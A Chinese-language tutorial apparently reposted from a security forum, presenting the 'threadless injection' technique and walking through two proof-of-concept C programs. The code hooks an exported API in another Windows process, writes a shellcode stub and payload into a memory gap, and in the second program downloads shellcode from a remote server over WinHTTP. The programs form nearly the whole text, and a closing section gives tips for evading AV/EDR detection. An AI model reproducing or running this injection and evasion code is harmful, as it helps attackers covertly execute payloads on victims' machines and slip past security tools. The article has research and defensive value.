基本原理及执行流程一览
无线程注入是在B-Sides Cymru 2023大会上发表的议题,是一种新型的远程注入手法,原理就是对hook的函数jump到dll的内存空隙的第一段shellcode(二次重定向功能)当中,然后再jump到第二段shellcode(真正的shellcode)执行。具体执行过程如图
第一步,注入的进程调用的被hook的API函数并重定向到我们的第一段shellcode,第二步就是执行第一段shellcode负责跳转到第二段shellcode,第三步跳转到第二段shellcode并执行,第四步返回到第一段shellcode执行跳转回到原本API函数的位置重新执行本身的功能。
threadless inject的主要绕过思路就是跟其他执行内存的方式不同,通过这种方式绕过了AV/EDR的一些检测,下面我会通过对相关代码进行讲解,来让读者们了解具体的实现细节。因为这些代码都只是POC,直接使用效果并不会太好,在文章末尾,我会说明一下这些代码的优化思路,以保证实现更好的绕过。
首先,我们需要知道什么是内存间隙,在内存中指令不是紧密无间没有孔隙的,我们可以试图寻找一些可以放下我们的shellcode的空隙来把shellcode放入进去,最后通过hook的API来重定向到这段shellcode并执行。
第一份基础代码解析
unsigned char shellcode_loader[] = {
0x58, // pop rax
0x48, 0x83, 0xE8, 0x05, // sub rax, 0x05
0x50, // push rax
0x51, // push rcx
0x52, // push rdx
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x48, 0xB9, // mov rcx, <address> 第二段shellcode的地址
0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
0x48, 0x89, 0x08, // mov [rax], rcx
0x48, 0x83, 0xEC, 0x40, // sub rsp, 0x40
0xE8, 0x11, 0x00, 0x00, 0x00, // call <relative offset> 执行第二段shellcode
0x48, 0x83, 0xC4, 0x40, // add rsp, 0x40
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5A, // pop rdx
0x59, // pop rcx
0x58, // pop rax
0xFF, 0xE0, // jmp rax 跳转回被hook的API函数地址
0x90 // nop
};
弹出计算器
unsigned char shellcode[] = {
0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
};
最终shellcode拼接,将两段shellcode合并到一个result里面
void ConcatArrays(unsigned char* result, const unsigned char* arr1, size_t arr1Size, const unsigned char* arr2, size_t arr2Size) {
// Copy elements from the first array
for (size_t i = 0; i < arr1Size; ++i) {
result[i] = arr1[i];
}
// Copy elements from the second array
for (size_t i = 0; i < arr2Size; ++i) {
result[arr1Size + i] = arr2[i];
}
}
寻找内存间隙
int64_t FindMemoryHole(IN HANDLE hProcess, IN void** exportedFunctionAddress, IN int size)
{
UINT_PTR remoteAddress;
BOOL foundMemory = FALSE;
uint64_t exportAddress = exportedFunctionAddress;
在一定偏移量范围之内寻找内存间隙
for (remoteAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000;
remoteAddress < exportAddress + 0x70000000;
remoteAddress += 0x10000)
{
给内存间隙直接申请一段RWX的内存
LPVOID lpAddr = VirtualAllocEx(hProcess, remoteAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
continue;
}
foundMemory = TRUE;
break;
}
if (foundMemory == TRUE)
{
printf(" [*] Found Memory Hole: %p\n", remoteAddress);
return remoteAddress;
}
return 0;
}
修改跳转地址,即第18个字节0xB9,修改为对应的地址void GenerateHook(int64_t originalInstruction)
{
*(uint64_t*)(shellcode_loader + 0x12) = originalInstruction;
printf(" [+] Hook successfully placed");
}
int main(int argc, char** argv)
{
首先获取命令行信息,声明变量
if (argc != 4) {
printf("\n");
printf("[ERROR]: DLL, Exported Function or PID is missing!\n");
printf(" [Demo Usage]: ThreadlessInject-C.exe kernelbase.dll CreateEventW 1000\n\n");
return 0;
}
要hook的dll
char* moduleName = argv[1];
要hook的函数
char* exportedFunction = argv[2];
PID
DWORD pid = atoi(argv[3]);
BOOL rez = FALSE;
int writtenBytes = 0;
//Loading DLL into the process
printf("\n[*] Loading: %s\n", moduleName);
获取对应dll的句柄
HMODULE hModule = GetModuleHandle(argv[1]);
如果获取不到,就先在本进程加载这个dll
if (hModule == NULL)
{
hModule = LoadLibraryA(argv[1]);
}
无法加载?异常问题无法加载,退出
if (hModule == NULL)
{
printf("[ERROR] Could not load %s\n", moduleName);
return -99;
}
printf(" [+] Successfully loaded %s\n\n", moduleName);
获取想要注入的API函数的地址
printf("[*] Getting the address of %s\n", exportedFunction);
void* exportedFunctionAddress = GetProcAddress(hModule, exportedFunction);
if (exportedFunctionAddress == NULL)
{
printf(" [ERROR] Could not find %s in %s\n", exportedFunction, moduleName);
return -99;
}
printf(" [+] %s Address: 0x%p\n\n", exportedFunction, exportedFunctionAddress);
获取目标进程的句柄
printf("[*] Trying to open process with pid: %d\n", pid);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
printf(" [ERROR] Could not open process with pid %d\n", pid);
return -99;
}
printf(" [+] Successfully opened process with pid %d\n\n", pid);
找内存间隙
printf("[*] Trying to find memory holes\n");
int64_t memoryHoleAddress = FindMemoryHole(hProcess, exportedFunctionAddress, sizeof(shellcode_loader) + sizeof(shellcode));
if (memoryHoleAddress == 0)
{
printf(" [Error] Could not find memory hole\n");
return -99;
}
获取要被hook的函数的地址
// Reading content from memory address of exported function
printf("[*] Reading bytes from the memory address of %s\n", exportedFunction);
int64_t originalBytes = *(int64_t*)exportedFunctionAddress;
printf(" [+] Address %p has value = %lld\n\n", exportedFunctionAddress, originalBytes);
修改要跳转的地址,将shellcode修改成完全体
// Implementing the hook
printf("[*] Generating hook");
GenerateHook(originalBytes);
将进程的某个导出函数的执行权限改成RWX
//Chaning the memory protection settings of the exported function into the calling process to RWX
printf("[*] Changing the memory protection of %s to RWX\n", exportedFunction);
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, exportedFunctionAddress, 8, PAGE_EXECUTE_READWRITE, &oldProtect))
{
printf(" [Error] Could not change the memory protection settings\n");
return -99;
}
printf(" [+] Successfully changed the memory protection settings of %s to RWX\n", exportedFunction);
修改目标函数的指令,加入跳转指令(目标是跳转到我们的第一段shellcode)
printf("[*] Trying to inject the call assembly for the exported function\n");
int callPointerAddress = (memoryHoleAddress - ((UINT_PTR)exportedFunctionAddress + 5));
unsigned char callFunctionShellcode[] = { 0xe8, 0, 0, 0, 0 };
*(int*)(callFunctionShellcode + 1) = callPointerAddress;
修改内存属性,改成RWX
VirtualProtectEx(hProcess, callFunctionShellcode, sizeof(callFunctionShellcode), PAGE_EXECUTE_READWRITE, NULL);
将callFunctionShellcode写入目标地址内存中
if (!WriteProcessMemory(hProcess, exportedFunctionAddress, callFunctionShellcode, sizeof(callFunctionShellcode), &writtenBytes))
{
printf(" [Error] Could redirect %s\n", exportedFunction);
return -99;
}
printf(" [+] Successfully modified %s function to call the custom shellcode\n", exportedFunction);
// Compiling final payload and injecting the hook
将两段shellcode合并到一起
unsigned char payload[sizeof(shellcode_loader) + sizeof(shellcode)];
ConcatArrays(&payload, &shellcode_loader, sizeof(shellcode_loader), shellcode, sizeof(shellcode));
修改内存属性为RW
if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_READWRITE, &oldProtect))
{
printf("[Error] Modifying the memory protection of the memory hole: %p before write\n", memoryHoleAddress);
return -99;
}
将合并的shellcode写入到目标进程
if (!WriteProcessMemory(hProcess, memoryHoleAddress, payload, sizeof(payload), &writtenBytes))
{
printf("[Error] Writing to the memory hole address: %p\n", memoryHoleAddress);
return -99;
}
将合并的shellcode内存属性更改为可读可执行
if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect))
{
printf("[Error] Modifying the memory protection of the memory hole: %p after write\n", memoryHoleAddress);
return -99;
}
printf("\n[+] Injection successful, wait for your trigger function!\n");
Sleep(2000);
}
从下图可以看到,在没有注入时,kernelbase.dll里面没有RWX的内存,在注入之后,kernelbase.dll里面申请了一段RWX的内存
第二份代码解析
第二份与之前执行思路基本相同,区别就是把第二段shellcode放到了远程服务器,内存空隙是放在另一个dll的文本段上(这可能是比较不错的寻找内存间隙的思路,但也要看AV/EDR的容忍度,毕竟要远程加载一个dll,还要对他的内存做出一些修改),具体内容如下
int wmain(int argc, wchar_t** argv) {
if (argc != 8) {
printf("\n\tUsage:\n\t\tD1rkInject.exe <resource> \n\n");
return -1;
}
声明命令行变量
wchar_t* whost = argv[1];
host地址
DWORD port = _wtoi(argv[2]);
端口
wchar_t* wresource = argv[3];
路径
DWORD pid = _wtoi(argv[4]);
pid
wchar_t* wInjectedLoadedModuleName= argv[5];
要注入的dll名称chakra.dll
wchar_t* wHookedModuleName = argv[6];
被注入的dll名称 ntdll.dll
wchar_t* wHookedApiName = argv[7];
api名
getdata函数获取shellcode
DATA shellcode = GetData(whost, port, wresource);
if (shellcode.data == NULL) {
printf("[-] Failed to get remote shellcode (%u)\n", GetLastError());
return -1;
}
printf("\n[+] shellcode @ %p (%d bytes)\n", shellcode.data, shellcode.len);
获取目标进程的句柄
HANDLE hproc = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);
GetRXhole函数获取RX的内存空隙(从注入的charka.dll中)
LPVOID RX_hole_addr = GetRXhole(hproc, wInjectedLoadedModuleName, shellcode.len);
if (RX_hole_addr == NULL) {
printf("[-] Failed to find a hole (%u)\n", GetLastError());
return -1;
}
printf("[+] RX_hole_addr in %ws is @ %p\n", wInjectedLoadedModuleName, RX_hole_addr);
InjectThatMTF函数,将shellcode注入到charka.dll中
if(!InjectThatMTF(hproc, RX_hole_addr, shellcode, wHookedModuleName, wHookedApiName)) {
printf("[+] Failed to inject %ws or Hook %ws\n", wInjectedLoadedModuleName, wHookedApiName);
return -1;
}
printf("[+] %ws of the Target process with PID : %d is injected at address with the HookCode + Shellcode : %p\n", wInjectedLoadedModuleName, pid, RX_hole_addr);
char input1[100];
do {
printf("[+] Enter \"APT stands for Are You Pretending To-hack?\" if you got a callback to Change hooked API protection from RWX => RX\n");
fgets(input1, sizeof(input1), stdin);
input1[strcspn(input1, "\n")] = 0;
} while (strcmp(input1, "APT stands for Are You Pretending To-hack?") != 0);
DWORD oldProtect = 0;
size_t len = wcslen(wHookedApiName) + 1;
char* APIName = (char*)malloc(len);
size_t convertedChars = 0;
wcstombs_s(&convertedChars, APIName, len, wHookedApiName, _TRUNCATE);
获取ntdll的目标API函数地址
FARPROC apiAddr = GetProcAddress(GetModuleHandle(wHookedModuleName), APIName);
更改内存权限为RX
if (!VirtualProtectEx(hproc, apiAddr, 8, PAGE_EXECUTE_READ, &oldProtect)) {
printf("Failed to change memory protection.\n");
return FALSE;
}
char input2[100];
do {
printf("[+] Enter \"APT stands for Advanced Persistence Tomato\" to Unload the Infected %ws to remove any IOC\n", wInjectedLoadedModuleName);
fgets(input2, sizeof(input2), stdin);
input2[strcspn(input2, "\n")] = 0;
} while (strcmp(input2, "APT stands for Advanced Persistence Tomato") != 0);
注入内存后从目标进程中取消加载的charka.dll
if (!UnloadModule(hproc, wInjectedLoadedModuleName)) {
printf("[+] Failed to Unload %ws\n in the target process\n", wInjectedLoadedModuleName);
return -1;
}
printf("[+] %ws Unloaded successfully\n", wInjectedLoadedModuleName);
return 0;
}
BOOL InjectThatMTF(HANDLE hProc, LPVOID RX_hole_addr,DATA shellcode, wchar_t* wModuleName, wchar_t* wAPIName) {
用来做hook的shellcode
// will load the shellcode and revert the hooked API
char HookCode[] = {
0x58, // pop rax
0x48, 0x83, 0xE8, 0x05, // sub rax,0x5
0x50, // push rax
0x51, // push rcx
0x52, // push rdx
0x41, 0x50, // push r8
0x41, 0x51, // push r9
0x41, 0x52, // push r10
0x41, 0x53, // push r11
0x48, 0xB9, 0x88, 0x77, 0x66, // movabs rcx,0x1122334455667788
0x55,0x44, 0x33, 0x22, 0x11,
0x48, 0x89, 0x08, // mov QWORD PTR [rax],rcx
0x48, 0x83, 0xEC, 0x40, // sub rsp,0x40
0xE8, 0x11, 0x00, 0x00, 0x00, // call shellcode
0x48, 0x83, 0xC4, 0x40, // add rsp,0x40
0x41, 0x5B, // pop r11
0x41, 0x5A, // pop r10
0x41, 0x59, // pop r9
0x41, 0x58, // pop r8
0x5A, // pop rdx
0x59, // pop rcx
0x58, // pop rax
0xFF, 0xE0, // jmp rax
0x90 // nop
};
/*
change 0x1122334455667788 in HookCode with
the Original 8 bytes of APIName opcodes
*/
size_t len = wcslen(wAPIName) + 1;
char* APIName = (char*)malloc(len);
size_t convertedChars = 0;
wcstombs_s(&convertedChars, APIName, len, wAPIName, _TRUNCATE);
获取目标dll的api函数地址
// get address of the function
FARPROC apiAddr = GetProcAddress(GetModuleHandle(wModuleName), APIName);
if (apiAddr == NULL) {
free(APIName);
printf("Failed to get the address of the function.\n");
return FALSE;
}
读取目标API的前八个字节的内容
// read 8 bytes from the start of the function
unsigned char originalOpcodes[8];
if (!ReadProcessMemory(hProc, apiAddr, &originalOpcodes, sizeof(originalOpcodes), NULL)) {
free(APIName);
printf("Failed to read the original opcodes.\n");
return FALSE;
}
替换原始shellcode的跳转地址
// replace the placeholder in the hook code with the original opcodes
memcpy(HookCode + 18, originalOpcodes, sizeof(originalOpcodes));
/*
update "call shellcode"
in HookCode
*/
计算到目标shellcode地址的偏移量
// calculate the relative offset from the call instruction to the target address
DWORD offset = (DWORD)((char*)RX_hole_addr - (char*)(HookCode + sizeof(HookCode)));
替换地址
// replace the placeholder offset in the hook code with the calculated offset
memcpy(HookCode + 39, &offset, sizeof(offset));
/*
Hook the loaded modules
with the HookCode + Shellcode
*/
将这段内存改成RWX
DWORD oldProtect;
// Change the protection of the memory region to RWX
if (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, PAGE_EXECUTE_READWRITE, &oldProtect)){
printf("VirtualProtectEx failed (%u)\n", GetLastError());
return FALSE;
}
把第一段shellcode写入到内存间隙中
// Write the HookCode into the memory region
SIZE_T bytesWritten;
if (!WriteProcessMemory(hProc, RX_hole_addr, HookCode, sizeof(HookCode), &bytesWritten)){
printf("WriteProcessMemory failed (%u)\n", GetLastError());
return FALSE;
}
将第二段shellcode写入到内存间隙中
// Write the shellcode into the memory region right after the HookCode
if (!WriteProcessMemory(hProc, (LPBYTE)RX_hole_addr + sizeof(HookCode), shellcode.data, shellcode.len, &bytesWritten)){
printf("WriteProcessMemory failed (%u)\n", GetLastError());
return FALSE;
}
修改为原来的内存属性
// Restore the original protection of the memory region
if (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, oldProtect, &oldProtect)){
printf("VirtualProtectEx failed (%u)\n", GetLastError());
return FALSE;
}
/*
Hook the API with call RX_hole_addr
*/
在目标函数处设立一个跳转
// Create a call instruction which jumps to RX_hole_addr.
unsigned char callInstruction[5] = { 0xE8, 0x00, 0x00, 0x00, 0x00 };
offset = (DWORD)((char*)RX_hole_addr - ((char*)apiAddr + sizeof(callInstruction)));
memcpy(callInstruction + 1, &offset, sizeof(offset));
// Replace the first instruction of the API function with our call instruction.
oldProtect = 0;
修改目标API地址的这段内存属性为RWX
if (!VirtualProtectEx(hProc, apiAddr, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("Failed to change memory protection.\n");
return FALSE;
}
把跳转指令写进去
bytesWritten = 0;
if (!WriteProcessMemory(hProc, apiAddr, callInstruction, sizeof(callInstruction), &bytesWritten)) {
printf("Failed to write the new instruction.\n");
return FALSE;
}
if (bytesWritten != sizeof(callInstruction)) {
printf("Failed to write the full instruction.\n");
return FALSE;
}
return TRUE;
}
总体上的内容就是获取web服务器上的shellcode,具体代码不做解释了
DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {
DATA data;
std::vector<unsigned char> buffer;
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, whost,
port, 0);
else
printf("Failed in WinHttpConnect (%u)\n", GetLastError());
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
NULL);
else
printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
// Send a request.
if (hRequest)
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);
else
printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
// End the request.
if (bResults)
bResults = WinHttpReceiveResponse(hRequest, NULL);
else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
// Keep checking for data until there is nothing left.
if (bResults)
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
dwSize = 0;
}
else
{
// Read the Data.
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
dwSize, &dwDownloaded))
printf("Error %u in WinHttpReadData.\n", GetLastError());
else {
buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
}
delete[] pszOutBuffer;
}
} while (dwSize > 0);
if (buffer.empty() == TRUE)
{
printf("Failed in retrieving the Shellcode");
}
// Report any errors.
if (!bResults)
printf("Error %d has occurred.\n", GetLastError());
// Close any open handles.
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
size_t size = buffer.size();
char* bufdata = (char*)malloc(size);
for (int i = 0; i < buffer.size(); i++) {
bufdata[i] = buffer[i];
}
data.data = bufdata;
data.len = size;
return data;
}
DWORD prevOffset = 0;
生成一个随机的偏移量方便后面寻找内存间隙
DWORD get_random_offset(DWORD maxOffset) {
DWORD newOffset = rand() % maxOffset;
while ((newOffset > prevOffset ? newOffset - prevOffset : prevOffset - newOffset) < MIN_GAP) {
newOffset = rand() % maxOffset;
}
prevOffset = newOffset;
return newOffset;
}
确保dll已经注入到目标进程的内存里面了
// Check if a module is loaded in a process's address space
BOOL IsModuleLoaded(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
HMODULE hMods[1024];
DWORD cbNeeded;
unsigned int i;
wchar_t szModName[MAX_PATH];
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
if (wcscmp(szModName, wInjectedLoadedModule) == 0) {
return TRUE;
}
}
}
}
return FALSE;
}
从这个进程中获取chakra.dll的handle
// Get a module handle from the process
HMODULE GetRemoteModuleHandle(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
HMODULE hMods[1024];
DWORD cbNeeded;
unsigned int i;
wchar_t szModName[MAX_PATH];
if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
if (wcscmp(szModName, wInjectedLoadedModule) == 0) {
return hMods[i];
}
}
}
}
return NULL;
}
找到一个RX的内存空隙(从chakra.dll中查找,即使更改文本节内存里面的内容,也不会导致崩溃)
LPVOID GetRXhole(HANDLE hProcess, wchar_t* wInjectedLoadedModuleName, size_t shellcodeLen) {
if (!IsModuleLoaded(hProcess, wInjectedLoadedModuleName)) {
LPVOID RXspot = NULL;
内存大小
SIZE_T mdlSize = (wcslen(wInjectedLoadedModuleName) + 1) * sizeof(wchar_t);
PTHREAD_START_ROUTINE pLoadLibrary = NULL;
获取kernel32.dll的句柄
pLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW");
if (!pLoadLibrary) {
printf("Failed to get LoadLibrary Address (%u)\n", GetLastError());
return NULL;
}
申请一段可读可写的内存
PVOID mdlStrAlloc = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
if (!mdlStrAlloc) {
printf("Failed to Allocate mem in the remote process (%u)\n", GetLastError());
return NULL;
}
printf("[+] mdlStrAlloc : %p\n", mdlStrAlloc);
将当前进程的内存复制到目标进程的内存中
BOOL writeStatus = WriteProcessMemory(hProcess, mdlStrAlloc, (LPVOID)wInjectedLoadedModuleName, mdlSize, NULL);
if (!writeStatus) {
printf("Failed to Write to the allocated mem (%u)\n", GetLastError());
return NULL;
}
创建远程线程
HANDLE hthread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, mdlStrAlloc, 0, NULL);
if (!hthread) {
printf("Failed to create remote thread (%u)\n", GetLastError());
return NULL;
}
// Wait for the remote thread to finish
WaitForSingleObject(hthread, INFINITE);
//检测线程是否存在
// Check the thread exit code
DWORD exitCode;
if (!GetExitCodeThread(hthread, &exitCode)) {
printf("Failed to get exit code (%u)\n", GetLastError());
CloseHandle(hthread);
return FALSE;
}
CloseHandle(hthread);
获取dll基址的指针
PVOID mdlBaseAddr = LoadLibrary(wInjectedLoadedModuleName);
if (!mdlBaseAddr) {
printf("[!] Failed to resolve the remote module addr\n");
return NULL;
}
IMAGE_DOS_HEADER* DOS_HEADER = (IMAGE_DOS_HEADER*)mdlBaseAddr;
IMAGE_NT_HEADERS* NT_HEADER = (IMAGE_NT_HEADERS*)((DWORD64)mdlBaseAddr + DOS_HEADER->e_lfanew);
IMAGE_SECTION_HEADER* SECTION_HEADER = IMAGE_FIRST_SECTION(NT_HEADER);
LPVOID txtSectionBase = (LPVOID)((DWORD64)mdlBaseAddr + (DWORD64)SECTION_HEADER->PointerToRawData);
DWORD txtSectionSize = SECTION_HEADER->SizeOfRawData;
如果找到的内存间隙小于第二段shellcode长度
if (txtSectionSize < shellcodeLen) {
printf("[-] Choose Another Module with a large \".text\" section\n");
return NULL;
}
// Initialize random seed
srand((unsigned)time(NULL));
确认这段RX内存的地址
DWORD randomOffset = get_random_offset(txtSectionSize - shellcodeLen);
printf("[+] randomOffset %d\n", randomOffset);
RXspot = (LPVOID)((DWORD64)txtSectionBase + randomOffset);
return RXspot;
}
else {
printf("[!] %ws is already loaded in the target process\n", wInjectedLoadedModuleName);
return NULL;
}
}
取消加载到目标进程中的dll
// Unload a module from a process
BOOL UnloadModule(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
HMODULE hMod = GetRemoteModuleHandle(hProcess, wInjectedLoadedModule);
if (hMod == NULL) {
printf("Module not found.\n");
return FALSE;
}
// Get address of FreeLibrary in kernel32.dll
LPVOID FreeLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "FreeLibrary");
if (FreeLibraryAddr == NULL) {
printf("Failed to get address of FreeLibrary (%u)\n", GetLastError());
return FALSE;
}
释放这段远程线程的内存
// Call FreeLibrary in the context of the remote process
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)FreeLibraryAddr, hMod, 0, NULL);
if (hThread == NULL) {
printf("Failed to create remote thread (%u)\n", GetLastError());
return FALSE;
}
// Wait for the remote thread to finish
WaitForSingleObject(hThread, INFINITE);
// Check the thread exit code
DWORD exitCode;
if (!GetExitCodeThread(hThread, &exitCode)) {
printf("Failed to get exit code (%u)\n", GetLastError());
CloseHandle(hThread);
return FALSE;
}
CloseHandle(hThread);
if (!IsModuleLoaded(hProcess, wInjectedLoadedModule)) {
return TRUE;
}
return FALSE;
}
从下图可以看到成功注入了chakra.dll
改进思路
第一段shellcode功能比较简单,很容易作为IOC进行检测,对这段shellcode进行一定的优化,加入一些混淆指令
hookAPI的方式是最简单的修改指令,更换为更加隐蔽的hook方法,比如硬件断点等
申请RWX是非常敏感的行为,可以先RW再RX
用更加隐蔽的调用链条,使用一些冷门的API函数
可以做成BOF,思路大差不差
Reference:
https://github.com/lsecqt/ThreadlessInject-C/blob/main/ThreadlessInject-C/ThreadlessInject-C.c
https://github.com/SaadAhla/D1rkInject/tree/main
https://www.youtube.com/watch?v=z8GIjk0rf
作者:n1ji1
原文链接:https://xz.aliyun.com/t/14512